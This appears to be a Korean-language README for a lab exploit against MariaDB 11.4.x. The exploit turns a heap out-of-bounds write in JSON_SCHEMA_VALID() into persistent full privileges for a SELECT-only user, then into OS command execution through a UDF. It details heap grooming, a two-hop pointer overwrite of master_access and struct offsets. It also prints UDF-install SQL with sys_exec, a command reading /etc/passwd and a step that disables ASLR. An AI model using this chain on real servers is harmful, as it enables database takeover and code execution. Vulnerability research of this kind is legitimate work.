
# MariaDB JSON_SCHEMA_VALID()의 힙 OOB 쓰기 → 영구 권한 상승(랩 지원)
MariaDB JSON_SCHEMA_VALID()의 힙 버퍼 오버플로우 → 지속적 권한 상승 → UDF RCE
| 영향 대상 | MariaDB 11.4.x (11.4.9에서 확인) |
| 버그 | json_get_normalized_string()의 OOB 쓰기 — 경계 검사 없는 128바이트 DYNAMIC_STRING에 대한 strncpy |
| 영향 | SELECT 전용 사용자 → ALL PRIVILEGES WITH GRANT OPTION → UDF를 통한 임의 명령 실행 |
| 소스 | sql/json_schema_helper.cc:91 |
랩 지원. 이 스크립트는 Docker/루트 인트로스펙션을 사용하여
/proc/1/mem을 읽고 연결별 힙 레이아웃을 발견합니다. 실제 익스플로잇 체인은 TCP를 통한 순수 SQL입니다. 무기화된 익스플로잇은 메모리 인트로스펙션 단계를 대체할 정보 유출 프리미티브가 필요할 것입니다.
lowpriv는 test 데이터베이스에서만 SELECT할 수 있습니다. 시스템 테이블은 거부됩니다.

단일 Python 스크립트가 힙 그루밍, 사용자 변수 메타데이터를 통한 2홉 임의 쓰기, GRANT ALL을 통한 권한 상승 지속, UDF를 통한 코드 실행을 수행합니다:
python3 exploit.py

lowpriv는 이제 ALL PRIVILEGES WITH GRANT OPTION을 보유하며, 시스템 테이블 읽기, 임의 파일 읽기/쓰기, mysql 사용자로 OS 명령 실행이 가능합니다. 이 권한은 서버 재시작 후에도 유지됩니다.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192바이트 │ │ 손상된 포인터를 │ │ 리디렉션된 │
│ 오버플로우 │ │ 통해 @c에 │ │ 포인터를 통해 │
│ entry_c의 │ │ 쓰기: │ │ @a에 쓰기: │
│ value ptr │ │ │ │ │
│ 손상 │ │ entry_a → │ │ master_access│
│ (2바이트 │ │ .value = │ │ = 0xFFFF.. │
│ 부분 덮어쓰기)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
힙 그루밍 — 100개 이상의 사용자 변수가 tcache를 소진시켜
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c가
연속적으로 할당되도록 강제합니다.
오버플로우 — JSON_SCHEMA_VALID가 128바이트 버퍼를 넘어 192바이트 strncpy를 트리거하여
entry_c→value를 손상시킵니다(동일한 64KB 페이지 내 2바이트 부분 포인터 덮어쓰기).
이로 인해 entry_a + 32를 가리키게 됩니다.
홉 1 — @c에 할당하면 손상된 포인터를 통해 126바이트가 entry_a의 메타데이터에 기록되어 다음을 설정합니다:
entry_a→value = &Security_context::master_accessentry_a→length = 9홉 2 — @a에 할당하면 리디렉션된 entry_a→value 포인터를 통해 8바이트의 0xFF가 기록됩니다 → .
지속 후 서버가 재시작되고(크래시 복구), 상승된 권한을 사용하여 UDF 공유 라이브러리를 설치합니다:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. 컨테이너 빌드 및 시작
./setup.sh
# 2. Docker 호스트에서 ASLR 비활성화
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. 익스플로잇 실행 (시도별 자동 보정)
python3 exploit.py
# 4. 사용자 지정 명령
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE로 실행 (/proc/1/mem 접근용)--calibrate 힙 레이아웃 상수 측정 후 종료
--cmd CMD 2단계 UDF 실행 명령 (기본값: id > /tmp/pwned)
--stage1-only 권한 상승만 실행, UDF RCE 건너뜀
--attempts N 1단계 최대 시도 횟수 (기본값: 5)
--host HOST MariaDB 호스트 (기본값: 127.0.0.1)
--port PORT MariaDB 포트 (기본값: 3306)
익스플로잇 스크립트는 루트로 컨테이너에 셸로 접속하여 /proc/1/mem을 읽습니다.
이는 두 가지 용도로 사용됩니다:
user_var_entry 구조체를 찾고 인접성을 확인합니다(2바이트 부분 덮어쓰기를 위한 entry_c→value와 동일한 64KB 페이지 내 entry_a+32).Security_context 주소 — 2홉 쓰기의 대상이 되는 master_access 필드 찾기.힙 레이아웃이 연결마다 다르기 때문에(MariaDB의 스레드 풀이 서로 다른 아레나를 할당하므로, ASLR=0에서도) 스캔은 각 시도에 대해 인라인으로 실행됩니다. 실제 익스플로잇 체인 — 오버플로우 + 홉1 + 홉2 — 은 TCP 연결을 통해 실행되는 순수 SQL입니다.
실제 시나리오에서 공격자는 이러한 주소를 얻기 위해 별도의 정보 유출 취약점(또는 사이드 채널)이 필요할 것입니다.
master_access = ALL PRIVILEGES지속 — 세션은 이제 모든 권한을 보유합니다. GRANT ALL은 Aria 기반 mysql.global_priv 테이블에 권한 상승을 커밋합니다. 세션은 정리 중 잔여 힙 손상으로 결국 크래시되지만, GRANT는 이미 체크포인트되어 재시작 후에도 유지됩니다.
| 제약 조건 | 해결책 |
|---|
STRING_RESULT는 재할당 검사 전에 length++를 수행 | 페이로드는 N−1바이트이므로 N−1+1 = N이 저장된 길이와 일치 → 손상된 포인터에 재할당 없음 |
126바이트 홉2가 Security_context 이후의 THD 필드를 손상 | 홉1에서 entry_a→length = 9를 설정하여 홉2가 8바이트(master_access) + 1 NUL만 쓰도록 함 |
Security_context의 master_access 오프셋 | 구조체 베이스에서 1712바이트 (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + 패딩 + 포인터) |
| Aria 크래시 복구가 커밋되지 않은 쓰기를 롤백 | GRANT ALL + 10초 SLEEP으로 세션 정리 크래시 전에 Aria 체크포인트 허용 |
| 힙 레이아웃이 연결마다 다름 (ASLR=0에서도) | 시도별 인라인 /proc/1/mem 스캔으로 각 연결의 entry_a와 master_access 발견 |
| plugin_dir이 루트 소유 | Dockerfile이 chmod 777 사전 설정 (랩 편의) |
| 파일 | 설명 |
|---|
exploit.py | 2단계 익스플로잇: 권한 상승 (TCP SQL) + UDF RCE |
raptor_udf.c | UDF 소스 — sys_exec()가 system() 호출 |
Dockerfile | 랩 컨테이너 이미지 (UDF 컴파일, plugin_dir 열기) |
init.sql | lowpriv 사용자 생성 |
setup.sh | 랩 빌드 및 시작 |
screenshots/ | 터미널 스크린샷 |